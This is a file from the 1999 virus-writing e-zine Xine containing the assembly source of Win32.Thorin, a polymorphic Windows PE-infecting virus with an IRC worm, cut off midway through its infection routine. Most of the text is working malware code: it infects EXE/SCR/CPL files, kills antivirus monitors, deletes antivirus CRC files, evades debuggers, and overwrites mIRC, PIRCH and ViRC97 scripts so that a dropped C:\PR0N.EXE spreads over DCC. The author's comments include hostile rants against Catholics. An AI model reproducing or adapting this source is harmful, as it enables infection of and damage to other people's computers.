/-----------------------------\ | Xine - issue #4 - Phile 204 | \-----------------------------/ ; [Win32.Thorin] - PE/mIRC/PIRCH/ViRC97/resident/semi-stealth/poly/RDA, etc. ; Copyright (c) 1999 by Billy Belcebu/iKX ; ; ÛÛ» ÛÛ» ÛÛ» ÛÛÛ» ÛÛ» ÛÛÛÛÛÛ» ÛÛÛÛÛÛ» ; ÛÛº ÛÛº ÛÛº ÛÛÛÛ» ÛÛº ÈÍÍÍÍÛÛ» ÈÍÍÍÍÛÛ» ; ÛÛº Û» ÛÛº ÛÛº ÛÛÉÛÛ» ÛÛº ÛÛÛÛÛɼ ÛÛÛÛÛɼ ; ÛÛºÛÛÛ»ÛÛº ÛÛº ÛÛºÈÛÛ»ÛÛº ÈÍÍÍÛÛ» ÛÛÉÍÍͼ ; ÈÛÛÛÉÛÛÛɼ ÛÛº ÛÛº ÈÛÛÛÛº ÛÛÛÛÛÛɼ ÛÛÛÛÛÛÛ» ÛÛ» ; ÈÍͼÈÍͼ Èͼ Èͼ ÈÍÍͼ ÈÍÍÍÍͼ ÈÍÍÍÍÍͼ Èͼ ; ÛÛÛÛÛÛÛÛ» ÛÛ» ÛÛ» ÛÛÛÛÛÛ» ÛÛÛÛÛÛ» ÛÛ» ÛÛÛ» ÛÛ» ; ÈÍÍÛÛÉÍͼ ÛÛº ÛÛº ÛÛÉÍÍÍÛÛ» ÛÛÉÍÍÛÛ» ÛÛº ÛÛÛÛ» ÛÛº ; ÛÛº ÛÛÛÛÛÛÛº ÛÛº ÛÛº ÛÛÛÛÛÛɼ ÛÛº ÛÛÉÛÛ» ÛÛº ; ÛÛº ÛÛÉÍÍÛÛº ÛÛº ÛÛº ÛÛÉÍÍÛÛ» ÛÛº ÛÛºÈÛÛ»ÛÛº ; ÛÛº ÛÛº ÛÛº ÈÛÛÛÛÛÛɼ ÛÛº ÛÛº ÛÛº ÛÛº ÈÛÛÛÛº ; Èͼ Èͼ Èͼ ÈÍÍÍÍͼ Èͼ Èͼ Èͼ Èͼ ÈÍÍͼ ; ; Virus Name : Thorin.11932 [ Bugfix version ] ; Virus Author : Billy Belcebu/iKX ; Origin : Spain ; Platform : Win32 ; Target : PE files (EXE/SCR/CPL) & mIRC/PIRCH/ViRC97 spreading ; Poly : THME 1.0 [The Hobbit Mutation Engine] ; Unpack : LSCE 1.0 [Little Shitty Compression Engine] ; Compiling : TASM 5.0 and TLINK 5.0 should be used ; tasm32 /ml /m3 thorin,,; ; tlink32 /Tpe /aa /c /v thorin,thorin,,import32.lib, ; pewrsec thorin.exe ; Why 'Thorin'? : Heh, are you an incult guy? Heh, have you ever read the ; wonderful book of the wonderful author J. R. R. Tolkien, ; called "The Hobbit"? Ok, if you did it, you can realize ; that the most important dwarf is called in this way :) He ; died with honour, and he couldn't taste the victory and be ; the king, anyway thanks to him, the Middle-Earth was a much ; better world for years. Ain't it charming? ;) ; Features : Ok, here i will list all that this babe is able to do... ; ù Infect PE files in current, Windows, and System dirs. ; ù Runtime module, infects 4 files each time. ; ù Per-Process residency (Import Table & GetProcAddress). ; ù Infects EXE, SCR & CPL files. ; ù Anti-Debugging features (SEH & 'IsDebuggerPresent'). ; ù Anti-Emulation features. ; ù Anti-Monitors, kills AVP Monitor and AMON. ; ù Polymorphic layer of decryption. ; ù RDA layer of decryption. ; ù Size Stealth (FindFirstFileA/FindNextFileA). ; ù Fast infection (depending of the host). ; ù Internet aware virus: mIRC, ViRC97 and PIRCH scripts. ; ù Traversal routine for search for the scripts (hi LJ!). ; ù Packed dropper, used LSCE 1.0. ; ù Really tiny unpacker. ; ù Multiple payloads (see below). ; ù Doesn't hardcode KERNEL32 base address. ; ù Doesn't hardcode API addresses (of course). ; ù Gets Image Base at running time. ; ù Removes many AV CRC files. ; ù Avoids infection of certain (dangerous for us) files. ; Payloads : Yes, this virus has multiple payloads (hi DuST!). Let's see ; a little overview of them (executed every 26 of October). ; 1. The biggest one, based in a trick that i learnt from ; mandragore's viruses, dropping a file as C:\WIN.COM, that ; gets executed by the system before of the file that should ; be, that is C:\WINDOWS\WIN.COM, thus bringing us the possi- ; bility of own the computer before windows :) Well, it cons- ; ists in a very little, simple and easy quiz that all ppl ; who had read "The Hobbit" once in his life would be able to ; pass without problems, and consists of 3 questions. ; 2. Sets the HD's name as 'THORIN'. ; 3. Due an idea that my friend Qozah gave me, it swaps the ; mouse buttons, thus making the user be stoned... All you ; clicked with the left button, now you'll have to click with ; the right one, and vice-versa. ; 4. The typical MessageBox with a silly message. ; 5. Launches user to Microsoft page, thus annoying him and ; make his little and ignorant mind to think that the awaited ; Micro$oft offensive over the earth has began. Well, ain't ; this one charming? ;) ; Internet : This virus is able to spread itself using the most used ; IRC programs over the world: mIRC, PIRCH and ViRC. Every ; infected system will have a little infected file in ; C:\PR0N.EXE. This file is sent to everyone that joins the ; channel where the user is chatting by DCC. Very simple and ; effective. ; Greetings : This virus is dedicated to many people... Firstly, to the ; iKX crew for trust in me, to the DDT past,present and futu- ; re crew for the friendship during the time, 29A ppl, FS ppl ; etc. Now, the personal greetings (w/ no particular order): ; ; SeptiC - Your 'Internet aware viruses' article rules!!! ; b0z0 - Hi, my favourite 'little' clown :) ; StarZer0 - no. no, no. no sex. ; Int13h - I'd like you come to Spain :) ; Murkry - I'm glad to be in a group with this genius. ; n0ph - I still don't have the pleasure of knowin' you... ; Somniun - Si tienes alguna duda de Win32, pregunta!! ;) ; Wintermute - RAMMSTEIN rules! You always have reason ;) ; Owl - You are very isolated from the world, pal :) ; Vecna - The best coder of everytime. ; Ypsilon - Nos vemos en septiembre! :) ; Bumblebee - Pues eso, a ver si tu vienes tambien... ; TechnoPhunk - Forget catholicism and be nihilist! ;) ; Qozah - I'd like to do a cooperation project with ya ;) ; Benny - Same with you :) Yer a reely impressive codah! ; Super - ¨Como te va en Castellon? ; nIgr0 - Code viruses, not 'legal' thingies! ; MDriller - best p0lys without any kinda discussion... ; T-2000 - I share ur ideas 'bout religion: radical but true ; SlageHammer - I loved yer city! Milano rocks! Padania rocks! ; VirusBuster - I've seen "Love Struck Baby" video. SRV rlz ;) ; LordJulus - Keep on coding, but optimize more! ;) ; ; Also dedicated to all the Bards around! ; ; Thoughts : This is, nowadays, my best virus so far, over Iced Earth, ; Garaipena, and Nitro, all of them for Windoze. I needed to ; do at least a good virus, for feed my own ego (why lie?), ; and i think this is what really happened. But i won't stop ; there, there are many things yet to explore (and exploit) ; in 32 bit enviroments, there are many problems unsolved, ; and i will try to contribute with my humble code for all ; those purposes. Btw, i used, in my other viruses, to try to ; optimize , but in this virus i didn't. I mean, you won't ; see here OBVIOUS lacks of optimization, like CMP reg,-1 but ; i will use many times the same code in different procedures ; many strings, two droppers (one for IRC distribution, and ; other for one payload). This virus is big in its size, well ; not as Win32.Harrier, Win32.Libertine, WinNT.Remex, etc., ; but it's a 'big' one, and i hope this will mean a 'good' ; one. Fuck, i've coded also a lot of payloads, none of them ; is destructive, but all are VERY annoying... The descripti- ; on is above, if you don't believe me. ; Well, now i'm gonna excuse myself, because while making ; this virus (based initially on my Win95.Iced Earth) i have ; noticed the great quantity of bugs that my Iced Earth virus ; had (believe me, more than 10 incredible bugs!), and i'm ; still wondering why all those escaped from my beta testing. ; Moreover, all those bugs only reflect my incompetence. With ; this virus i have made very serious tests, mainly because ; some delicated parts of the virus needed it to work perfec- ; ly (i.e. per-process residence). Maybe there will be also ; bugs, but now at least i know there are less :) ; My next steps will be the research in the fields of MMX ; polymorphism, some metamorphism, and i hope that my next ; virus will use EPO techniques, because i haven't experimen- ; ted yet with such a kewl thing. ; Politics : Benny doesn't like that i use to talk about politics, but i ; have put it there just for explain some things that could ; guide you to misunderstand my way of act. Everybody knows ; that i tend to Marxism, right? Well, but i'm not saying ; with this that i support Fidel Castro, Mao, and such like ; pseudo-communists (that tend to totalitarism). I think that ; everybody must have the same oportunities, and without any ; kind of discrimination. But as i am not a guy with an only ; idea, i support also (if there isn't any other choice) the ; democracy, but i prefer it to be a democracy as participa- ; tion and not as a procediment. Whom has studied some philo- ; sophy will know of what i am talking about: avoid the fi- ; erce and discriminatory capitalism. As i am tolerant, you ; can be againist my ideas, and i will accept it. So Benny, ; i'm not a totalitarian asshole, just the opposite, i'm just ; a young idealist :) Be free, enjoy life... ; Final note : Although it screwed me a lot, i haven't put data in the ; heap as i used to do because this virus is too big and the ; data used temporally is also too big, and it generated some ; protection faults... SHIT!!!! ; ; That is not dead ; which can eternal lie ; yet with strange aeons ; even death may die ; ; -H. P. Lovecraft- ; ; (c) 1999 Billy Belcebu/iKX .586p .model flat .data ; 1st gen exported apis extrn MessageBoxA:PROC extrn ExitProcess:PROC ; Some useful equates virus_size equ (offset virus_end-offset virus_start) poly_virus_size equ (offset crypt_end-offset thorin) shit_b4_delta equ (offset delta-offset virus_start) encrypt_size equ (crypt_end-crypto) non_crypt_size equ (virus_size-encrypt_size-rda_decryptor) rda_decryptor equ (virus_end-crypt_end) section_flags equ 00000020h or 20000000h or 80000000h directory_attr equ 00000010h temp_attributes equ 00000080h drop_old_size equ 00011000d n_Handles equ 50d WFD_HndSize equ n_Handles*8 n_infections equ 04h bad_number equ 09h orig_size equ 044h mark equ 04Ch ddInfMark equ "NRHT" kernel_ equ 0BFF70000h ; Only used if the K32 search kernel_wNT equ 077F00000h ; fails... imagebase_ equ 000400000h ; y0h0h0 ; Interesting macros for my code cmp_ macro reg,joff1 ; Optimized version of inc reg ; CMP reg,0FFFFFFFFh jz joff1 ; JZ joff1 dec reg ; The code is reduced in 3 endm ; bytes (7-4) cmpz macro reg,joff2 ; Optimized version of xchg reg,ecx ; CMP reg,00h jecxz joff2 ; JZ joff2 endm ; Code reduced in 2 bytes cmpz_ macro reg,joff3 ; Blah or reg,reg jz joff3 endm apicall macro apioff ; Optimize muthafucka! call dword ptr [ebp+apioff] endm rva2va macro reg,base ; Only for make preetiest the add reg,[ebp+base] ; code ;) endm virussize macro db virus_size/10000 mod 10 + "0" db virus_size/01000 mod 10 + "0" db virus_size/00100 mod 10 + "0" db virus_size/00010 mod 10 + "0" db virus_size/00001 mod 10 + "0" endm ; Some shitty thingies in data section... 1st gen host messages .data szTitle db "[Win32.Thorin]",0 szMessage db "First Generation Sample",10 db "Virus Size : " virussize db " bytes" db 10 db "Copyright (c) 1999 by Billy Belcebu/iKX",0 ; El ke mucho llora es porke no mama! .code ; =========================================================================== ; Virus code ; =========================================================================== ; DU HAST MICH!!! virus_start label byte poly_layer db LIMIT dup (90h) ; Space for poly-decryptor thorin: pushad ; Push all da shit pushfd fwait ; Reset coprocessor fninit call kill_av ; Anti-emulation trick mov esp,[esp+08h] xor edx,edx pop dword ptr fs:[edx] pop edx jmp over_trap kill_av: xor edx,edx push dword ptr fs:[edx] mov fs:[edx],esp dec byte ptr [edx] jmp over_rda over_trap: call delta ; Hardest code to undestand ;) delta: pop ebp mov eax,ebp sub ebp,offset delta sub eax,shit_b4_delta sub eax,00001000h NewEIP equ $-4 push eax ; Save it or ebp,ebp ; Goddamn first gen... jz over_rda call rda_crypt jmp over_rda ; =========================================================================== ; RDA Layer (Random Decryption Algorithm) ; =========================================================================== ; I have become a direct. I have become insurgent. rda_crypt proc xor ebx,ebx ; Clear counter try_another_key: call crypt ; Try to decrypt it push ebx ; Save counter lea esi,[ebp+crypto] ; Load address to crypt mov edi,encrypt_size ; Size to crypt call CRC32 ; Get its CRC32 pop ebx ; Restore counter cmp eax,12345678h ; Actual CRC32=CRC32 unencrypted? CRC equ $-4 jz rda_done ; Yeah, then we decrypted it call crypt ; Nopes, fix it inc ebx ; increase key jmp try_another_key ; Try with another key rda_done: ret rda_crypt endp crypt proc ; This procedures simplifies lea edi,[ebp+crypto] ; the task (and optimizes) of mov ecx,encrypt_size ; encrypt with a determinated rda_: xor byte ptr [edi],bl ; key inc edi loop rda_ ret crypt endp ; Legalizar consimizion, no te konviene... se akaba el filon! ; =========================================================================== ; CRC32 calculator [by Vecna] ; =========================================================================== ; ; input: ; ESI = Offset where code to calculate begins ; EDI = Size of that code ; output: ; EAX = CRC32 of given code ; CRC32 proc cld push ebx xor ecx,ecx ; Optimized by me - 2 bytes dec ecx ; less mov edx,ecx NextByteCRC: xor eax,eax xor ebx,ebx lodsb xor al,cl mov cl,ch mov ch,dl mov dl,dh mov dh,8 NextBitCRC: shr bx,1 rcr ax,1 jnc NoCRC xor ax,08320h xor bx,0EDB8h NoCRC: dec dh jnz NextBitCRC xor ecx,eax xor edx,ebx dec edi ; Another fool byte less jnz NextByteCRC not edx not ecx pop ebx mov eax,edx rol eax,16 mov ax,cx ret CRC32 endp crypto equ $ db " [IAIDA] " ; Little message to the pree- ; tiest girl over the earth. ; She deserves much more, i ; know... anyway... she's here! ; No penseis ke soy baboso, ein?!?!?!?!?!? :) over_rda: pop eax mov dword ptr [ebp+ModBase],eax ; EAX = Image Base of module call ChangeSEH ; SEH rlz. mov esp,[esp+08h] ; Restore stack jmp RestoreSEH ChangeSEH: xor ebx,ebx ; Joder, no joderemos... push dword ptr fs:[ebx] ; pero ­JODER! las ganas ke mov fs:[ebx],esp ; tenemos :) and byte ptr [ebp+inNT],00h ; Make zero inNT variable mov ecx,cs ; Check if we are under WinNT xor cl,cl jecxz WinNT ; ECX = 0 - WinNT;100 - Win9X jmp shock WinNT: inc byte ptr [ebp+inNT] ; If NT, mark this shock: mov esi,[esp+2Ch] ; Get program return address mov ecx,05d ; Max level call GetK32 ; I hate the catholicism... I HATE THE CATHOLICISM!!!! STOP HIPOCRISY!!!!!!!! ; STOP THOSE GODDAMN LIES!!! What is that? God helps us? Hahahahah!!! So, you ; stupid catholic asshole... why there are wars, genocides, etc? Why we, the ; human race, are as cruel with other humans, the nature, and everything that ; goes againist our own process to earn money? Open your eyes... i won't make ; you change using the power... just change yourself... it's your choice. asakopako: mov dword ptr [ebp+kernel],eax ; EAX must be K32 base address ; This is the main branch of the virus lea edi,[ebp+@@Offsetz] lea esi,[ebp+@@Namez] call GetAPIs ; Retrieve all APIs call AntiDebugger ; Antidebug their arse call PrepareInfection ; Set-up infection call KillMonitors ; Kill AV monitors call InfectItAll ; Infect dirs call DropPR0N ; Unpack and drop PR0N.EXE call TraversalSearch ; Search for scripts and dr0p call HookAllAPIs ; Hook IT APIs ; Ok, we prepare to end the adventure... push WFD_HndSize ; Hook some mem for WFD_Handles push 00000000h ; structure apicall _GlobalAlloc mov dword ptr [ebp+WFD_HndInMem],eax ; Activate payload every 26th of October, a magical day. lea eax,[ebp+SYSTEMTIME] push eax apicall _GetSystemTime cmp word ptr [ebp+ST_wDay],31d jnz continue_payload jmp delete_key continue_payload: cmp word ptr [ebp+ST_wDay],26d jnz no_payload cmp word ptr [ebp+ST_wMonth],10d jnz no_payload call payload ; Well... payloads :) no_payload: xchg ebp,ecx ; 1st gen shit jecxz fakehost_ RestoreSEH: xor ebx,ebx ; Restore old SEH handler pop dword ptr fs:[ebx] pop eax popfd ; Restore registers & flags popad mov ebx,12345678h ; Here goes program's EIP org $-4 OldEIP dd 00001000h add ebx,12345678h ; And here its base address org $-4 ModBase dd imagebase_ push ebx ; We return control to host ret fakehost_: jmp fakehost ; 1st gen shitz0r ; CATHOLICISM = FASCISM = SHIT delete_key: ; This gets executed once lea esi,[ebp+key_mIRC] ; each 2 months :) call DelReg lea esi,[ebp+key_PIRCH] call DelReg lea esi,[ebp+key_ViRC97] call DelReg jmp no_payload ; =========================================================================== ; Most important virus info :) ; =========================================================================== vname label byte db "[Win32.Thorin." virussize db " v1.00]",00h copyr db "Copyright (c) 1999 by Billy Belcebu/iKX",0 ; =========================================================================== ; Obtain useful info that will be used in infection process ; =========================================================================== PrepareInfection: lea edi,[ebp+WindowsDir] ; Pointer to the variable push 7Fh ; Size of dir variable push edi ; Push it! apicall _GetWindowsDirectoryA add edi,7Fh ; Pointer to the variable push 7Fh ; Size of dir variable push edi ; Push it! apicall _GetSystemDirectoryA add edi,7Fh ; Pointer to the variable push edi ; Size of dir variable push 7Fh ; Push it! apicall _GetCurrentDirectoryA lea eax,[ebp+szUSER32] ; Get all needed APIs from push eax ; the USER32.DLL library apicall _LoadLibraryA xchg eax,ebx lea edi,[ebp+@@USER32_APIs] ; Pointer to API strings lea esi,[ebp+@@USER32_Addresses] ; Pointer to API addresses retrieve_user32_apis: push edi ; Push pointer to string push ebx ; Push USER32 base address apicall _GetProcAddress xchg edi,esi ; Store the address stosd xchg edi,esi xor al,al ; Get the end of string scasb jnz $-1 cmp byte ptr [edi]," " ; I like girls... jz all_user32_apis ; Is last api? jmp retrieve_user32_apis all_user32_apis: lea eax,[ebp+szADVAPI32] ; Here we will get all needed push eax ; APIs from ADVAPI32.DLL apicall _LoadLibraryA xchg eax,ebx lea edi,[ebp+@@ADVAPI32_APIs] ; Pointer to API names lea esi,[ebp+@@ADVAPI32_Addresses] ; Pointer to API addresses retrieve_advapi32_apis: push edi ; Push pointer to name push ebx ; Push ADVAPI32 base address apicall _GetProcAddress xchg edi,esi ; Store API address stosd xchg edi,esi xor al,al ; Get the end of API string scasb jnz $-1 cmp byte ptr [edi],"" ; I like music [:)~ jz all_advapi32_apis jmp retrieve_advapi32_apis all_advapi32_apis: ret ; Heh, a greeting to the man (and the book!) that inspired this virus :) db 0,"[The Hobbit (c) 1937 by J.R.R. Tolkien]",0 ; =========================================================================== ; Infect current, Windows and System directories ; =========================================================================== InfectItAll: lea edi,[ebp+directories] ; Pointer to 1st directory mov byte ptr [ebp+mirrormirror],dirs2inf ; Set up variable requiem: push edi ; Set as current dir the apicall _SetCurrentDirectoryA ; dir to infect call DeleteShit ; Delete AV CRC files push edi ; Initialize this values for each directory processed and byte ptr [ebp+CurrentExt],00h lea esi,[ebp+EXTENSIONS] lea edi,[ebp+EXTENSION] infect_all_masks: cmp byte ptr [ebp+CurrentExt],n_EXT jae all_mask_infected lodsd ; EAX = EXTENSION mov [edi],eax ; No STOSD! We don't want EDI ; to change... push edi esi call Infect ; Infect some files pop esi edi inc byte ptr [ebp+CurrentExt] jmp infect_all_masks all_mask_infected: pop edi add edi,7Fh ; Get another directory dec byte ptr [ebp+mirrormirror] ; Check if we infected all cmp byte ptr [ebp+mirrormirror],00h ; available directories jnz requiem ret ; =========================================================================== ; Search MASK and infect found uninfected files ; =========================================================================== Infect: and dword ptr [ebp+infections],00000000h ; reset countah lea eax,[ebp+offset WIN32_FIND_DATA] ; Find's shit push eax lea eax,[ebp+offset _MASK] push eax apicall _FindFirstFileA ; Get first file on directory cmp_ eax,FailInfect ; Failed? Shit... mov dword ptr [ebp+SearchHandle],eax __1: lea edi,[ebp+WFD_szFileName] call AvoidShitFiles jc __2 push dword ptr [ebp+NewEIP] push dword ptr [ebp+OldEIP] push dword ptr [ebp+ModBase] call Infection ; Infect file pop dword ptr [ebp+ModBase] pop dword ptr [ebp+OldEIP] pop dword ptr [ebp+NewEIP] jc __2 inc byte ptr [ebp+infections] cmp byte ptr [ebp+infections],n_infections ; Did we infected them? jae FailInfect ; Yeah... :) __2: lea edi,[ebp+WFD_szFileName] ; Clear name field mov ecx,MAX_PATH xor al,al rep stosb lea eax,[ebp+offset WIN32_FIND_DATA] ; Search for another file push eax push dword ptr [ebp+SearchHandle] apicall _FindNextFileA cmpz eax,CloseSearchHandle jmp __1 CloseSearchHandle: push dword ptr [ebp+SearchHandle] ; Close search handle apicall _FindClose FailInfect: ret db 0,"[Luthien is still alive in the world]",0 ; =========================================================================== ; Traversal search for mIRC and PIRCH scripts (modified version of LJ's code) ; =========================================================================== TraversalSearch: lea esi,[ebp+tempcurdir] ; Get the current directory push esi ; (We only want the current push 7Fh ; drive) apicall _GetCurrentDirectoryA lodsb ; Get drive mov byte ptr [ebp+root],al ; Put it in its variable lea eax,[ebp+root] ; Reach the root directory push eax ; of the current drive apicall _SetCurrentDirectoryA Traversal: lea esi,[ebp+key_mIRC] ; Already catched? Avoid call RegExist ; this if so, as it needs many jc nomoretosearch ; time, and the user could lea esi,[ebp+key_PIRCH] ; notice our presence :) call RegExist jc nomoretosearch lea esi,[ebp+key_ViRC97] call RegExist jc nomoretosearch xor ebx,ebx ; Clear counter findfirstdir: lea edi,[ebp+_WIN32_FIND_DATA] ; Search for directories push edi lea eax,[ebp+ALL_MASK] push eax apicall _FindFirstFileA cmp_ eax,notfoundfirstdir mov dword ptr [ebp+TSHandle],eax main_trav: cmp dword ptr [ebp+_WFD_dwFileAttributes],directory_attr jnz findnextdir lea eax,[ebp+_WFD_szFileName] cmp byte ptr [eax],"." ; Is dir "." or ".."? jz findnextdir ; Shitz push eax apicall _SetCurrentDirectoryA pushad call Worms ; Let's rock! popad push dword ptr [ebp+TSHandle] ; Save handle inc ebx ; Increase counter :) jmp findfirstdir findnextdir: push edi ; Search for another dir push dword ptr [ebp+TSHandle] apicall _FindNextFileA cmpz eax,notfoundfirstdir jmp main_trav notfoundfirstdir: lea eax,[ebp+dotdot] ; Go back 1 dir push eax apicall _SetCurrentDirectoryA or ebx,ebx ; Are we in root? yeah, it's jz nomoretosearch ; over! our search finished! dec ebx ; Decrease countah pop dword ptr [ebp+TSHandle] jmp findnextdir notfoundnextdir: push dword ptr [ebp+TSHandle] apicall _FindClose jmp notfoundfirstdir nomoretosearch: lea esi,[ebp+key_PIRCH] ; Mark all registry keys... call PutReg lea esi,[ebp+key_mIRC] call PutReg lea esi,[ebp+key_ViRC97] call PutReg lea esi,[ebp+tempcurdir] ; And put current directory push esi ; back :) apicall _SetCurrentDirectoryA ret db 0,"[Thorin,Dori,Nori,Ori,Balin,Dwalin,Fili,Kili,Oin,Gloin," db "Bifur,Bofur,Bombur]",0 ; =========================================================================== ; Worms (mIRC & PIRCH) installer ; =========================================================================== Worms: call DeleteShit ; Delete AV CRCs from all dir push 80h ; We test for the presence of lea eax,[ebp+PirchWormFile] ; the scripts by setting a push eax ; normal attribute to them. apicall _SetFileAttributesA ; If the api returns us an xchg eax,ecx ; error, then we know the jecxz TryWithMIRC ; file doesn't exist :) jmp BorrowPIRCH ; As in DOS! ;) TryWithMIRC: push 80h lea eax,[ebp+mIRCWormFile] push eax apicall _SetFileAttributesA xchg eax,ecx jecxz TryWithViRC97 jmp BorrowMIRC TryWithViRC97: push 80h lea eax,[ebp+ViRC97WormFile] push eax apicall _SetFileAttributesA xchg eax,ecx jecxz ExitWorms jmp BorrowViRC97 ExitWorms: ret ; =========================================================================== ; PIRCH script overwrite ; =========================================================================== BorrowPIRCH: ; If file found, drop the xor eax,eax ; new script file push eax push eax push 00000003h push eax inc eax push eax push 40000000h call _PIRCH PirchWormFile db "events.ini",0 ; What to overwrite _PIRCH: apicall _CreateFileA mov dword ptr [ebp+TempHandle],eax push 00000000h ; Overwrite with our script :) lea ebx,[ebp+iobytes] push ebx push PirchWormSize lea ebx,[ebp+PirchWorm] push ebx push eax apicall _WriteFile mov ecx,PirchWormSize ; And trunc the file, so there call TruncFile ; won't be more shit ;) push dword ptr [ebp+TempHandle] apicall _CloseHandle ret ; =========================================================================== ; mIRC script overwrite ; =========================================================================== BorrowMIRC: ; Same as above, but with xor eax,eax ; mIRC scripts push eax push eax push 00000003h push eax inc eax push eax push 40000000h call _mIRC mIRCWormFile db "mirc.ini",0 _mIRC: apicall _CreateFileA mov dword ptr [ebp+TempHandle],eax push 00000000h lea ebx,[ebp+iobytes] push ebx push mIRCWormSize lea ebx,[ebp+mIRCWorm] push ebx push eax apicall _WriteFile mov ecx,mIRCWormSize call TruncFile push dword ptr [ebp+TempHandle] apicall _CloseHandle ret ; =========================================================================== ; ViRC97 script overwrite ; =========================================================================== BorrowViRC97: ; Same as above, but with xor eax,eax ; ViRC97 scripts push eax push eax push 00000003h push eax inc eax push eax push 40000000h call _ViRC97 ViRC97WormFile db "default.lib",0 _ViRC97:apicall _CreateFileA mov dword ptr [ebp+TempHandle],eax push 00000000h lea ebx,[ebp+iobytes] push ebx push ViRC97WormSize lea ebx,[ebp+ViRC97Worm] push ebx push eax apicall _WriteFile mov ecx,ViRC97WormSize call TruncFile push dword ptr [ebp+TempHandle] apicall _CloseHandle ret ; =========================================================================== ; Unpack, drop and infect our PE file [TROJAN mode] ; =========================================================================== DropPR0N: push drop_old_size ; Allocate some memory push 00000000h apicall _GlobalAlloc cmpz eax,_ExitDropPR0N mov dword ptr [ebp+GlobalAllocHnd],ecx mov edi,dropper_size ; Unpack in allocated memory xchg edi,ecx ; the dropper lea esi,[ebp+dropper] call LSCE_UnPack push 00000000h ; Create the dropper on push 00000080h ; C:\PR0N.EXE (hi darkman!) ;) push 00000002h push 00000000h push 00000001h push 40000000h call _PR0N pr0nfile db "C:\PR0N.EXE",0 _ExitDropPR0N: jmp ExitDropPR0N _PR0N: apicall _CreateFileA push eax ; Write it, sucka! push 00000000h lea ebx,[ebp+iobytes] push ebx push drop_old_size push dword ptr [ebp+GlobalAllocHnd] push eax apicall _WriteFile apicall _CloseHandle lea edi,[ebp+pr0nfile] ; Infect it call _Infection push dword ptr [ebp+GlobalAllocHnd] ; And free allocated memory apicall _GlobalFree ExitDropPR0N: ret ; =========================================================================== ; Self protect virus againist debuggers ; =========================================================================== AntiDebugger: apicall _GetVersion ; Check for Win95, as it dont cmp eax,80000000h ; have the IsDebuggerPresent jb BetterNot ; API. cmp ax,0A04h jb BetterNot lea esi,[ebp+@IsDebuggerPresent] call GetAPI_ET call eax ; Are we being debugged? Shit! cmpz eax,BetterNot cli ; Who said that Windoze don't jmp $-1 ; use interrupts? ;) Int8 rlz BetterNot: ret db 0,"[Dedicated to all Tolkien fans over the middle-earth]",0 ; =========================================================================== ; Kill AV CRC files ; =========================================================================== DeleteShit: pushad lea edi,[ebp+@@BadPhilez] ; Load pointer to first file mov ecx,bad_number ; Number of files to erase killem: push ecx ; Save the number push edi ; Push file to erase apicall _DeleteFileA ; Delete it! pop ecx ; Restore the number xor al,al ; Get the next file scasb jnz $-1 loop killem ; Loop and delete another :) popad ret ; =========================================================================== ; Kill the processes of determinated AV monitors ; =========================================================================== KillMonitors: lea edi,[ebp+Monitors2Kill] KM_L00p: call TerminateProc xor al,al ; Reach the end of string scasb jnz $-1 cmp byte ptr [edi],0BBh ; Last item of array? jnz KM_L00p ret ; =========================================================================== ; Avoid infection of certain files ; =========================================================================== ; ; input: ; EDI = Pointer to file name ; output: ; CF = Set to 1 if it exist, to 0 if it doesn't ; AvoidShitFiles: lea esi,[ebp+@@BadProgramz] ; Ptr to table ASF_Loop: xor eax,eax ; Clear EAX lodsb ; Load size of string in AL cmp al,0BBh ; End of table? jz AllShitFilesProcessed ; Oh, shit! xchg eax,ecx ; Put Size in ECX push edi ; Preserve program pointer rep cmpsb ; Compare both strings pop edi ; Restore program pointer jz ShitFileFound ; Damn, a shitty file! add esi,ecx ; Pointer to another string jmp ASF_Loop ; in table & loop AllShitFilesProcessed: mov cl,00h ; Overlap, so CL = 0F9h org $-1 ShitFileFound: stc ; Set carry ret ; =========================================================================== ; PE Infection (with parameters) ; =========================================================================== ; ; input: ; EDI = Pointer to file name ; output: ; Nothing. ; _Infection: push edi apicall _GetFileAttributesA cmp_ eax,_ExitInfection mov dword ptr [ebp+WFD_dwFileAttributes],eax mov esi,edi call OpenFile cmp_ eax,_ExitInfection push eax push 00000000h push eax apicall _GetFileSize mov dword ptr [ebp+WFD_nFileSizeLow],eax apicall _CloseHandle lea esi,[ebp+WFD_szFileName] xchg esi,edi duhast: lodsb or al,al jz engel stosb jmp duhast engel: stosb push dword ptr [ebp+NewEIP] push dword ptr [ebp+OldEIP] push dword ptr [ebp+ModBase] call Infection pop dword ptr [ebp+ModBase] pop dword ptr [ebp+OldEIP] pop dword ptr [ebp+NewEIP] mov cl,00h ; Overlapppppp org $-1 _ExitInfection: stc ret ; =========================================================================== ; PE Infection (with WIN32_FIND_DATA) ; =========================================================================== ; ; input: ; Nothing (everything needed is in WFD structure). ; output: ; Nothing. ; Infection: lea esi,[ebp+WFD_szFileName] ; Get FileName to infect push 80h push esi apicall _SetFileAttributesA ; Wipe its attributes call OpenFile ; Open it cmp_ eax,CantOpen mov dword ptr [ebp+FileHandle],eax mov ecx,dword ptr [ebp+WFD_nFileSizeLow] ; 1st we create map with call CreateMap ; its exact size cmpz_ eax,CloseFile mov dword ptr [ebp+MapHandle],eax mov ecx,dword ptr [ebp+WFD_nFileSizeLow] call MapFile ; Map it cmpz_ eax,UnMapFile mov dword ptr [ebp+MapAddress],eax mov esi,eax ; Get PE Header mov esi,[esi+3Ch] add esi,eax cmp dword ptr [esi],"EP" ; Is it PE? jnz NoInfect cmp dword ptr [esi+mark],ddInfMark ; Was it infected? jz NoInfect push dword ptr [ebp+MapAddress] apicall _UnmapViewOfFile push dword ptr [ebp+MapHandle] apicall _CloseHandle mov ecx,dword ptr [ebp+WFD_nFileSizeLow] ; And Map all again. add ecx,virus_size call CreateMap cmpz_ eax,CloseFile mov dword ptr [ebp+MapHandle],eax mov ecx,dword ptr [ebp+WFD_nFileSizeLow] add ecx,virus_size call MapFile cmpz_ eax,UnMapFile mov dword ptr [ebp+MapAddress],eax mov esi,eax mov esi,[eax+3Ch] add esi,eax call GetLastSection ; ESI = Last Section ; EDI = PE header mov eax,[edi+28h] ; Save original EIP mov dword ptr [ebp+OldEIP],eax mov edx,[esi+10h] mov ebx,edx add edx,[esi+14h] ; EDX = Phisical address where ; append virus push edx mov eax,ebx add eax,[esi+0Ch] ; EAX = VA of new EIP mov [edi+28h],eax ; Set the new entrypoint mov dword ptr [ebp+NewEIP],eax mov eax,[esi+10h] ; Retrieve new SizeOfRawData add eax,virus_size ; and VirtualSize mov ecx,[edi+3Ch] call Align mov [esi+10h],eax ; Set new SizeOfRawData mov [esi+08h],eax ; Set new VirtualSize pop edx mov eax,[esi+10h] ; Set new SizeOfImage add eax,[esi+0Ch] 